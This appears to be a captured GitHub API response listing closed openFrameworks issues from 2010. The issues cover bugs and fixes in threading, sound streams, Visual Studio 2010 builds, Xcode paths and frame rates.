bUseTextureFlag","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":"2010-09-24T18:31:41Z","created_at":"2010-06-20T20:02:19Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":226943,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2010-09-24T13:55:35Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/205","comments":1,"milestone":null,"number":205,"html_url":"https://github.com/openframeworks/openFrameworks/issues/205","assignee":null,"title":"Untitled","labels":[],"closed_at":"2010-09-24T13:55:35Z","created_at":"2010-06-20T04:47:51Z","state":"closed","user":{"url":"https://api.github.com/users/jadesoul","avatar_url":"https://secure.gravatar.com/avatar/1a124d165142f3fa684ac2485252ddda?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"1a124d165142f3fa684ac2485252ddda","login":"jadesoul","id":278372},"id":226670,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2010-09-24T13:55:05Z","body":"requested by Pierre - needs win32 implementation.\n\n\n ////////////////////////////////////////////////////////////\n /// Wait until the thread finishes\n ////////////////////////////////////////////////////////////\n void ofxThread::waitForThread(){\n if (threadRunning)\n {\n // Wait for the thread to finish, no timeout\n pthread_join(myThread, NULL);\n \n if(verbose)printf(\"ofxThread: waiting for thread to stop\\n\");\n // Reset the thread state\n threadRunning = false;\n }\n }\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/204","comments":2,"milestone":null,"number":204,"html_url":"https://github.com/openframeworks/openFrameworks/issues/204","assignee":null,"title":"ofxThread - waitForThread","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"}],"closed_at":"2010-09-24T13:55:05Z","created_at":"2010-06-17T13:12:20Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":224798,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2010-06-08T13:32:00Z","body":"vs complains about double to float conversion in much of the new ofRectangle functionality","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/203","comments":2,"milestone":null,"number":203,"html_url":"https://github.com/openframeworks/openFrameworks/issues/203","assignee":null,"title":"warnings on new code in ofTypes","labels":[],"closed_at":"2010-06-08T13:32:00Z","created_at":"2010-06-08T02:28:55Z","state":"closed","user":{"url":"https://api.github.com/users/ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","id":142897},"id":216589,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-01-12T02:47:41Z","body":"OF has no analog to the mousePressed or keyPressed variables in Processing that allow you to check for the mouse and keyboard state in the draw loop. This is further confused by the bMousePressed in ofAppRunner that is inaccessible in testApp.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/202","comments":6,"milestone":null,"number":202,"html_url":"https://github.com/openframeworks/openFrameworks/issues/202","assignee":null,"title":"No mousePressed or keyPressed equivalent","labels":[],"closed_at":"2011-01-12T02:47:41Z","created_at":"2010-06-06T20:11:59Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":215619,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2010-06-07T16:46:21Z","body":"videoInput has set and get methods for the camera parameters. It'd be great to have this in ofVideoGrabber and implemented across platforms. http://www.openframeworks.cc/forum/viewtopic.php?f=10&t=3330&p=21043","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/201","comments":5,"milestone":null,"number":201,"html_url":"https://github.com/openframeworks/openFrameworks/issues/201","assignee":null,"title":"Multiplatform setVideoSettingCamera","labels":[],"closed_at":"2010-06-07T23:31:58Z","created_at":"2010-06-06T17:05:53Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":215504,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2010-09-19T00:40:05Z","body":"f) get addons up and running too (by making all addons, mirroring and then stripping out code we don't want)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/200","comments":0,"milestone":null,"number":200,"html_url":"https://github.com/openframeworks/openFrameworks/issues/200","assignee":null,"title":"addons for vs2010","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/visual+studio","name":"visual studio","color":"ba4eba"}],"closed_at":"2010-09-19T00:40:05Z","created_at":"2010-06-01T13:29:41Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":211420,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2010-09-19T00:40:05Z","body":"d) rename all vs2008 projects to have 2008 in the name and internally (it gets stripped out). I think this means all vs2008.slns internally too","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/198","comments":1,"milestone":null,"number":198,"html_url":"https://github.com/openframeworks/openFrameworks/issues/198","assignee":null,"title":"rename vs2008 project files","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/visual+studio","name":"visual studio","color":"ba4eba"}],"closed_at":"2010-09-19T00:40:05Z","created_at":"2010-06-01T13:27:21Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":211414,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2010-09-19T00:40:05Z","body":"c) get compile all script to work (test that it works) and try all the basic examples","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/197","comments":1,"milestone":null,"number":197,"html_url":"https://github.com/openframeworks/openFrameworks/issues/197","assignee":null,"title":"vs2010 compile all script","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/visual+studio","name":"visual studio","color":"ba4eba"}],"closed_at":"2010-09-19T00:40:05Z","created_at":"2010-06-01T13:26:26Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":211412,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=32&state=closed {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4964'), ('content-length', '31552'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"ab42387f005b2112009f4a20856e64c8"'), ('date', 'Tue, 29 May 2012 18:46:54 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2010-09-19T00:40:05Z","body":"b) check other libraries (vs2010 changed libraries at the moment are poco foundation and oscpack)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/196","comments":1,"milestone":null,"number":196,"html_url":"https://github.com/openframeworks/openFrameworks/issues/196","assignee":null,"title":"check other vs2010 libs","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/visual+studio","name":"visual studio","color":"ba4eba"}],"closed_at":"2010-09-19T00:40:05Z","created_at":"2010-06-01T13:25:56Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":211410,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2010-06-01T15:49:51Z","body":"a) compile all poco libraries to vs2010 (at the moment, only foundation is compiled to vs2010). I strongly think this is wrong. The question is do we upgrade poco or not? I've gotten both to compile on vs2010 but it took some real hacky things to get them up and running. At the moment, I've stuck with the old versions. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/195","comments":1,"milestone":null,"number":195,"html_url":"https://github.com/openframeworks/openFrameworks/issues/195","assignee":null,"title":"compile all poco libraries to vs2010 ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/visual+studio","name":"visual studio","color":"ba4eba"}],"closed_at":"2010-06-01T15:49:51Z","created_at":"2010-06-01T13:24:40Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":211409,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2010-05-26T18:47:20Z","body":"\r\nIto and I just had that annoying path issue, where the app get's run at the wrong location. it was importing an old xcode project into a different version of xcode, and suddenly the working directory of the exe shifts. \r\n\r\nthis snippet seems to help -- specifically, \"_NSGetExecutablePath\" to get the actual path, then I strip off the file name and chdir there. \r\n\r\nmight be good to write some code to detect if we are properly running from within the bundle , and if not fix it in this way?\r\n\r\n #include \r\n\r\n void testApp::setup() {\r\n\t\r\n\tchar path[1024];\r\n\tuint32_t size = sizeof(path);\r\n\tif (_NSGetExecutablePath(path, &size) == 0){\r\n\t\tprintf(\"executable path is %s\\n\", path);\r\n\t\tstring pathStr = string(path);\r\n\t\tvector < string> pathBrokenUp = ofSplitString( pathStr, \"/\");\r\n\t\tstring newPath = \"/\";\r\n\t\tfor(int i = 0; i < pathBrokenUp.size()-1; i++){\r\n\t\t\tnewPath += pathBrokenUp[i];\r\n\t\t\tnewPath += \"/\";\r\n\t\t}\r\n\r\n\t\tcout << newPath << endl; // some sanity checks here\r\n\t\tsystem( \"pwd\" );\r\n\t\tchdir ( newPath.c_str() );\r\n\t\tsystem(\"pwd\");\r\n\t} else\r\n\t\tprintf(\"buffer too small; need size %u\\n\", size);\r\n\t","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/192","comments":1,"milestone":null,"number":192,"html_url":"https://github.com/openframeworks/openFrameworks/issues/192","assignee":null,"title":"xcode / mac paths issue, possible fix","labels":[],"closed_at":"2010-05-26T18:47:20Z","created_at":"2010-05-20T16:20:23Z","state":"closed","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":142897},"id":201814,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2010-09-24T13:20:29Z","body":"should be only in Release target","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/191","comments":2,"milestone":null,"number":191,"html_url":"https://github.com/openframeworks/openFrameworks/issues/191","assignee":null,"title":"remove -s flag in linux makefiles","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":"2010-09-24T13:20:29Z","created_at":"2010-05-20T11:10:35Z","state":"closed","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"id":201579,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2010-05-20T08:36:08Z","body":"The ofSoundStream.cpp function receiveAudioBufferAndCallSimpleApp will blank the input buffer before sending the ofEvent. This results in all ofEvents for audioReceived get a buffer of zeros.\n\nFixing it is as simple as removing the memset from the function:\nBefore:\n\tif (nInputChannels > 0){\n\t\t\n\t\tif( OFSAptr )\n\t\t\tOFSAptr->audioReceived(fPtrIn, bufferSize, nInputChannels);\n\t\tmemset(fPtrIn, 0, bufferSize * nInputChannels * sizeof(float));\n\t\t#ifdef OF_USING_POCO\n\t\t\taudioEventArgs.buffer = fPtrIn;\n\t\t\taudioEventArgs.bufferSize = bufferSize;\n\t\t\taudioEventArgs.nChannels = nInputChannels;\n\t\t\tofNotifyEvent( ofEvents.audioReceived, audioEventArgs );\n\t\t#endif\n\t}\n\n\nAfter: Removed the memset fixes empty notifications.\n\tif (nInputChannels > 0){\n\t\t\n\t\tif( OFSAptr )\n\t\t\tOFSAptr->audioReceived(fPtrIn, bufferSize, nInputChannels);\n\t\t#ifdef OF_USING_POCO\n\t\t\taudioEventArgs.buffer = fPtrIn;\n\t\t\taudioEventArgs.bufferSize = bufferSize;\n\t\t\taudioEventArgs.nChannels = nInputChannels;\n\t\t\tofNotifyEvent( ofEvents.audioReceived, audioEventArgs );\n\t\t#endif\n\t}\n\nNote! The if( OFSAptr ) line is added by me so creation of a sound system without an app wont cause a crash. There is an existing issue for this at: http://github.com/openframeworks/openFrameworks/issuesearch?state=open&q=receiveAudioBufferAndCallSimpleApp#issue/183","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/190","comments":2,"milestone":null,"number":190,"html_url":"https://github.com/openframeworks/openFrameworks/issues/190","assignee":null,"title":"receiveAudioBufferAndCallSimpleApp blanks memory before event","labels":[],"closed_at":"2010-05-20T08:36:08Z","created_at":"2010-05-20T00:00:26Z","state":"closed","user":{"url":"https://api.github.com/users/fractaloop","gravatar_id":"aa8541e1bdd8a427f737cf36a983c817","login":"fractaloop","avatar_url":"https://secure.gravatar.com/avatar/aa8541e1bdd8a427f737cf36a983c817?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":223073},"id":201266,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2010-06-07T16:18:38Z","body":"Hi. I dont know / use git, so I cant make the change myself, but in ofx3DmodelLoader, mip map filtering on the MAG param is a glError, so rather than:\r\n\r\n glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR_MIPMAP_LINEAR);\r\n\r\n\r\n glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR);\r\n\r\nline 77 @ http://github.com/openframeworks/openFrameworks/blob/master/addons/ofx3DModelLoader/src/3DS/texture3DS.cpp sorry if this is the wrong way going about this :)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/189","comments":2,"milestone":null,"number":189,"html_url":"https://github.com/openframeworks/openFrameworks/issues/189","assignee":null,"title":"ofx3DmodelLoader","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":"2010-06-07T16:18:38Z","created_at":"2010-04-30T16:51:45Z","state":"closed","user":{"url":"https://api.github.com/users/vade","gravatar_id":"37aca214d4875cd90af9d67072c82642","login":"vade","avatar_url":"https://secure.gravatar.com/avatar/37aca214d4875cd90af9d67072c82642?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":65011},"id":183917,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2010-09-24T13:16:43Z","body":"http://www.openframeworks.cc/forum/viewtopic.php?f=5&t=3762&view=unread#unread","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/188","comments":1,"milestone":null,"number":188,"html_url":"https://github.com/openframeworks/openFrameworks/issues/188","assignee":null,"title":"linux videoplayer seems to have memory leaks","labels":[],"closed_at":"2010-09-24T13:16:43Z","created_at":"2010-04-27T21:04:15Z","state":"closed","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"id":181163,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2010-06-07T17:07:32Z","body":"fps can jump over 60fps when the app slows down due to heavy opengl\nmoving the sleeping code from idle to render callback fixes this - why? \nis this some hardware optimization / threading sort of thing? \n\nI have seen this on mac and pc:\n\n\n\tSteps to reproduce:\n\n\n\tTake the polygon example of 0061:\n\n\n\tadd to setup():\n\tofSetFrameRate(30);\n\n\n\tadd to draw():\n\n\n\tofSetColor(0x000000);\n\tofDrawBitmapString(ofToString(ofGetFrameRate()), 10, 20);\n\n\n\tfor(int i = 0; i < ofRandom(3, 50); i++){\n\n\n\n\n\t//--REST OF THE DRAW CODE\n\n\n\n\n\n\n\t}\n\n\n\n\n\tResults: you should see the fps hover between 29 and 38 ( depending on\n\tyour system ). \n\n\n\n\n\tFix?: Move this code in void ofAppGlutWindow::display(void)\n\tTo void ofAppGlutWindow::idle_cb(void) --> under the line: prevMillis\n\t= ofGetElapsedTimeMillis(); // you have to measure here\n\n\n\t// -------------- fps calculation:\n\t// theo - please don't mess with this without letting me know.\n\t// there was some very strange issues with doing ( timeNow-timeThen )\n\tproducing different values to: double diff = timeNow-timeThen;\n\t//\n\thttp://www.openframeworks.cc/forum/viewtopic.php?f=7&t=1892&p=11166#p11166\n\n\n\ttimeNow = ofGetElapsedTimef();\n\tdouble diff = timeNow-timeThen;\n\tif( diff > 0.00001 ){\n\tfps = 1.0 / diff;\n\tframeRate *= 0.9f;\n\tframeRate += 0.1f*fps;\n\t}\n\tlastFrameTime = diff;\n\ttimeThen = timeNow;\n\t // --------------\n\n\n\n\n\tResults: fps now reports between 25-30 fps as expected\n\n\n\tStrange huh?\n\n\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/187","comments":1,"milestone":null,"number":187,"html_url":"https://github.com/openframeworks/openFrameworks/issues/187","assignee":null,"title":"framerate issue when ofSetFrameRate or ofSetVerticalSync is on ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":"2010-06-07T17:07:32Z","created_at":"2010-04-26T22:02:15Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":180339,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2010-06-07T16:12:09Z","body":"Not sure if this is the final fix - but we should look into it:\r\nhttp://www.openframeworks.cc/forum/viewtopic.php?p=19340#p19340","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/186","comments":2,"milestone":null,"number":186,"html_url":"https://github.com/openframeworks/openFrameworks/issues/186","assignee":null,"title":"serial bug for snow leopard / 10.6.2","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode","color":"993e7a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":"2010-06-07T16:12:09Z","created_at":"2010-04-26T13:34:13Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":179937,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2010-07-03T08:16:28Z","body":"hi!\nin addition to this thread : http://www.openframeworks.cc/forum/viewtopic.php?f=9&t=2233\n\nIt looks like this function can crash the application :\n\tvoid ofSoundStreamSetup(int nOutputChannels, int nInputChannels, int sampleRate, int bufferSize, int nBuffers);\n\nI had to change the line 36 of ofSoundStream.cpp from : \n\tOFSAptr->audioReceived(fPtrIn, bufferSize, nInputChannels);\n\nto\n\n\tif(OFSAptr != NULL) OFSAptr->audioReceived(fPtrIn, bufferSize, nInputChannels);","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/185","comments":1,"milestone":null,"number":185,"html_url":"https://github.com/openframeworks/openFrameworks/issues/185","assignee":null,"title":"ofSoundStreamSetup with ofBaseApp == NULL","labels":[],"closed_at":"2010-07-03T08:16:28Z","created_at":"2010-04-26T10:29:48Z","state":"closed","user":{"url":"https://api.github.com/users/kikko","gravatar_id":"035cbd6b9548954a83479230633ca398","login":"kikko","avatar_url":"https://secure.gravatar.com/avatar/035cbd6b9548954a83479230633ca398?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144372},"id":179871,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-01-14T03:11:27Z","body":"As far as I know, this is the most recent revision of the addon:\r\n\r\nhttp://kyle.googlecode.com/files/ofxCvHaarFinder.zip","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/184","comments":2,"milestone":null,"number":184,"html_url":"https://github.com/openframeworks/openFrameworks/issues/184","assignee":null,"title":"ofxOpenCv needs ofxCvHaarFinder","labels":[],"closed_at":"2011-01-14T03:11:27Z","created_at":"2010-04-21T17:08:57Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":176681,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2010-09-24T13:14:57Z","body":"If ofSoundStream is created using:\nvoid ofSoundStreamSetup(int nOutputChannels, int nInputChannels, int sampleRate, int bufferSize, int nBuffers);\nthen OFSAptr is never set.\n\nDuring the loop, receiveAudioBufferAndCallSimpleApp is called. It does not check for a null pointer before OFSAptr->audioReceived(fPtrIn, bufferSize, nInputChannels);\n\nSuggested fix:\n if( OFSAptr )\n OFSAptr->audioReceived(fPtrIn, bufferSize, nInputChannels);","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/183","comments":1,"milestone":null,"number":183,"html_url":"https://github.com/openframeworks/openFrameworks/issues/183","assignee":null,"title":"ofSoundStream crashes if not initialized with ofBaseApp","labels":[],"closed_at":"2010-09-24T13:14:57Z","created_at":"2010-04-17T21:49:30Z","state":"closed","user":{"url":"https://api.github.com/users/fractaloop","gravatar_id":"aa8541e1bdd8a427f737cf36a983c817","login":"fractaloop","avatar_url":"https://secure.gravatar.com/avatar/aa8541e1bdd8a427f737cf36a983c817?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":223073},"id":173991,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-03-13T19:48:41Z","body":"This is a feature request.\n\nCurrently ofVideoPlayer only supports one decoding system per platform.\n\nIdeally it would support various implementations using a pluggable factory design. This would extend ofVideoPlayer to support DirectShow, Theora, and a host of others implemented as one interface.\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/180","comments":0,"milestone":null,"number":180,"html_url":"https://github.com/openframeworks/openFrameworks/issues/180","assignee":null,"title":"ofVideoPlayer restructured for plug-in support","labels":[],"closed_at":"2011-03-13T19:48:41Z","created_at":"2010-04-11T22:12:55Z","state":"closed","user":{"url":"https://api.github.com/users/fractaloop","gravatar_id":"aa8541e1bdd8a427f737cf36a983c817","login":"fractaloop","avatar_url":"https://secure.gravatar.com/avatar/aa8541e1bdd8a427f737cf36a983c817?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":223073},"id":169482,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2010-10-05T13:11:59Z","body":"\r\nas we move old projects to 10.6 / latest xcode gcc you can get hundreds and hundreds of warnings (2000+) from fmod. \r\n\r\nhttp://stackoverflow.com/questions/59670/how-to-get-rid-of-deprecated-conversion-from-string-constant-to-char-warning\r\n\r\niwe should disable this warning as compiler flag or pragma, so that switching between gcc versions is less painful. \r\n\r\n- z\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/179","comments":5,"milestone":null,"number":179,"html_url":"https://github.com/openframeworks/openFrameworks/issues/179","assignee":null,"title":"xcode - deprecated conversion from string constant to 'char*' ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode","color":"993e7a"}],"closed_at":"2010-10-05T13:11:59Z","created_at":"2010-04-11T11:19:26Z","state":"closed","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":142897},"id":169193,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-01-16T00:31:14Z","body":"lets add \r\n\r\ncropping...\r\nand image conversions. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/177","comments":3,"milestone":null,"number":177,"html_url":"https://github.com/openframeworks/openFrameworks/issues/177","assignee":null,"title":"ofImage Features ","labels":[],"closed_at":"2011-01-16T00:31:14Z","created_at":"2010-04-10T01:51:49Z","state":"closed","user":{"url":"https://api.github.com/users/vanderlin","gravatar_id":"96c91dba0113ea847ee43b0961d24b3a","login":"vanderlin","avatar_url":"https://secure.gravatar.com/avatar/96c91dba0113ea847ee43b0961d24b3a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":149997},"id":168548,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-02T19:18:34Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/176","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":176,"html_url":"https://github.com/openframeworks/openFrameworks/issues/176","assignee":null,"title":"example packs - opencv motion detection etc. ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode","color":"993e7a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/codeblocks+","name":"codeblocks 